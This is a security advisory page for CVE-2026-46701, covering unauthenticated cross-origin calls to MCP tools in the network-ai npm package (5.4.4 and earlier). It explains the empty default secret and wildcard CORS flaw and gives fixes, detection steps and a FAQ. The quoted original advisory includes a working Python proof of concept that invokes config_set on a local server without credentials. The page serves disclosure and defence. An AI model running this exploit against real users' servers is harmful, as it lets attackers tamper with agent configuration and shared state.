NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-46701: Network-AI: Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret

highCVSS 3.1 7.6GHSA-j3vx-cx2r-pvg8

The MCP SSE server in Network-AI 5.4.4 and earlier starts with an empty secret, so it accepts every request, and it sends `Access-Control-Allow-Origin: *`. Any web page a user opens can then call all 22 MCP tools on the local server, including `config_set` and `agent_spawn`. The package data lists network-ai 5.4.5 as the patched version.

Published May 21, 2026 · Analysis Oct 26, 2026

What an attacker can do

Two defaults combine. In bin/mcp-server.ts line 89 the secret is process.env['NETWORK_AI_MCP_SECRET'] ?? ''. In lib/mcp-transport-sse.ts, _isAuthorized returns true whenever the secret is empty, so no Authorization header is needed. Separately, _handleRequest sets Access-Control-Allow-Origin: * on every response before any auth check, so a browser lets the calling script read the result (CWE-346).

The attacker needs a victim who has the server running locally (default port 3001) to open a malicious page. The page sends a cross-origin POST to /mcp with a tools/call body. The advisory's test ran config_set that way and set maxParallelAgents to 999 with no credentials.

The same path reaches agent_spawn, blackboard_write and blackboard_delete, and token_create and token_revoke. The advisory rates integrity impact high, because an attacker can overwrite orchestrator configuration and corrupt the shared state of the agents. Confidentiality is limited to what MCP tools return, such as blackboard contents and audit log queries. Availability impact is low.

Who is affected

The network-ai npm package, version 5.4.4 and earlier, when the MCP SSE server runs with no NETWORK_AI_MCP_SECRET set. That is the default. The advisory's test used a container bound to 127.0.0.1:3001. Check:

npm ls network-ai

Then check whether NETWORK_AI_MCP_SECRET is set in the environment of the MCP server process, and whether it runs in SSE mode.

network-ai

Ecosystem
npm
Affected
<= 5.4.4
Fixed in
5.4.5
Check
npm ls network-ai

How to fix it

Upgrade to network-ai 5.4.5:

npm install [email protected]

The text I read does not describe what 5.4.5 changes. The advisory recommends three fixes: refuse to start in SSE mode when no secret is set, replace the wildcard CORS header with a localhost allow-list and Vary: Origin, and send CORS headers only after the auth check.

Whatever your version, set a long random NETWORK_AI_MCP_SECRET and send it as a Bearer token. Run the server in stdio mode if you do not need SSE.

How to tell if you were hit

Check the MCP server logs for tools/call POSTs to /mcp that carry a browser Origin header from a site other than your own. Review the orchestrator configuration for unexpected values, such as an inflated maxParallelAgents. Check for agents you did not spawn, and unexpected blackboard writes or deletes and token creations. Look at browser history on machines that run the server for unfamiliar pages visited before those changes.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret

| Field            | Value |
| Repository       | Jovancoding/Network-AI |
| Affected version | v5.4.4 (commit c12686e181f231cf8d7bcf836a96d78f0f0877ac) |

Summary

The MCP SSE server defaults to an empty secret (process.env['NETWORK_AI_MCP_SECRET'] ?? '' at bin/mcp-server.ts:89), which causes _isAuthorized (lib/mcp-transport-sse.ts:254) to return true unconditionally for every request — no Authorization header is required. Simultaneously, _handleRequest sets Access-Control-Allow-Origin: * (lib/mcp-transport-sse.ts:272) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools — including config_set, agent_spawn, and blackboard_write — against a default-configured localhost server.

Affected Code

bin/mcp-server.ts:89 — default secret resolves to empty string, enabling open access

    secret: process.env['NETWORK_AI_MCP_SECRET'] ?? '',

lib/mcp-transport-sse.ts:254 — auth guard short-circuits to true when secret is falsy

  private _isAuthorized(req: http.IncomingMessage): boolean {
    if (!this._opts.secret) return true;
    const authHeader = req.headers['authorization'];
    if (typeof authHeader !== 'string') return false;
    const parts = authHeader.split(' ');
    return parts[0]?.toLowerCase() === 'bearer' && parts[1] === this._opts.secret;
  }

lib/mcp-transport-sse.ts:272 — wildcard CORS header applied unconditionally before any auth check

  private _handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void {
    // CORS — allow any MCP client to connect
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

lib/mcp-transport-sse.ts:367-368 — authenticated path dispatches parsed JSON-RPC frame directly to handleRPC with no further caller validation

        const rpc = JSON.parse(body) as McpJsonRpcRequest;
        const response = await this._bridge.handleRPC(rpc);

Any cross-origin browser request reaches handleRPC because _isAuthorized returns true (empty secret) and the Access-Control-Allow-Origin: * header lets the browser expose the response to the calling script.

Proof of Concept

Environment

  • Network-AI v5.4.4 (latest)
  • Docker container bound to 127.0.0.1:3001
  • Python 3 + requests

poc.py

import sys
import requests

BASE = "http://127.0.0.1:3001"

# Step 1: Verify CORS wildcard (simulating cross-origin preflight)
preflight = requests.options(
    f"{BASE}/mcp",
    headers={
        "Origin": "http://evil.example.com",
        "Access-Control-Request-Method": "POST",
        "Access-Control-Request-Headers": "Content-Type",
    },
)
acao = preflight.headers.get("Access-Control-Allow-Origin", "")
print(f"[*] OPTIONS /mcp -> {preflight.status_code}, Access-Control-Allow-Origin: {acao!r}")
if acao != "*":
    print(f"RESULT: FAIL — expected ACAO='*', got {acao!r}")
    sys.exit(1)

# Step 2: Invoke config_set with NO Authorization header from cross-origin
rpc_payload = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
        "name": "config_set",
        "arguments": {
            "key": "maxParallelAgents",
            "value": "999"
        }
    }
}
resp = requests.post(
    f"{BASE}/mcp",
    json=rpc_payload,
    headers={
        "Content-Type": "application/json",
        "Origin": "http://evil.example.com",
        # No Authorization header — exploiting empty-secret bypass
    },
)
print(f"[*] POST /mcp (no auth, cross-origin) -> {resp.status_code}")
print(f"[*] Response body: {resp.text[:800]}")
resp_acao = resp.headers.get("Access-Control-Allow-Origin", "")
print(f"[*] Response Access-Control-Allow-Origin: {resp_acao!r}")
if resp.status_code != 200:
    print(f"RESULT: FAIL — expected 200, got {resp.status_code}")
    sys.exit(1)

body = resp.json()
result_content = body.get("result", {})
is_error = result_content.get("isError", True)
if is_error:
    print(f"RESULT: FAIL — tool returned isError=true: {result_content}")
    sys.exit(1)

# Step 3: Confirm CORS header on actual response (browser can read it)
if resp_acao != "*":
    print(f"RESULT: FAIL — response ACAO not '*', browser would block read: {resp_acao!r}")
    sys.exit(1)

print(f"RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)")

Output

[*] OPTIONS /mcp -> 204, Access-Control-Allow-Origin: '*'
[*] POST /mcp (no auth, cross-origin) -> 200
[*] Response body: {"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"ok\":true,\"tool\":\"config_set\",\"data\":{\"key\":\"maxParallelAgents\",\"previous\":null,\"current\":999,\"applied\":true}}"}],"isError":false}}
[*] Response Access-Control-Allow-Origin: '*'
RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)

Verified conditions

  1. OPTIONS /mcp → 204, Access-Control-Allow-Origin: * — browser preflight accepted by server
  2. POST /mcp (no Authorization header) → 200, isError: false — config_set executed without credentials
  3. Response Access-Control-Allow-Origin: * — response is readable by the calling script in a browser context, confirming the attack is viable from a cross-origin malicious page

Impact

Any web page visited by a user who has the Network-AI MCP server running locally (default port 3001, no secret) can silently invoke all 22 MCP tools without credentials. Verified impact includes arbitrary orchestrator configuration mutation (config_set); the same vector applies to agent_spawn (spawning arbitrary agents), blackboard_write / blackboard_delete (corrupting shared agent state), and token_create / token_revoke (tampering with token management). Confidentiality impact is limited to data readable via MCP tools (blackboard contents, audit log queries); integrity impact is high because core orchestrator state can be overwritten; availability impact is low (service continues running but with attacker-controlled configuration).

Remediation

  1. Require a non-empty secret at startup: in bin/mcp-server.ts, reject launch when args.secret is empty and --stdio is not set: ``typescript if (!args.secret && !args.stdio) { console.error('ERROR: --secret <token> or NETWORK_AI_MCP_SECRET must be set for SSE mode.'); process.exit(1); } ``
  2. Restrict CORS to localhost origins only: in lib/mcp-transport-sse.ts:_handleRequest, replace the wildcard with an allowlist: ``typescript const origin = req.headers['origin'] ?? ''; const allowed = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/.test(origin); res.setHeader('Access-Control-Allow-Origin', allowed ? origin : ''); res.setHeader('Vary', 'Origin'); ``
  3. Move CORS headers after the auth check so a rejected request never advertises cross-origin access, or apply CORS only on the SSE endpoint (/sse) if cross-origin streaming is needed and not on /mcp.

Credited to 232-323, min8282.

Questions

Is a server bound to 127.0.0.1 safe?

No. The attack runs in the victim's browser, which can reach localhost. A malicious page sends the request from the user's own machine.

Does it need credentials?

No. With the default empty secret, _isAuthorized returns true for every request, so no Authorization header is required.

Which version fixes CVE-2026-46701?

network-ai 5.4.5 per the package data. Version 5.4.4 and earlier are affected.

Does the attacker need user interaction?

Yes. The user has to visit the attacker's web page while the MCP server is running.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries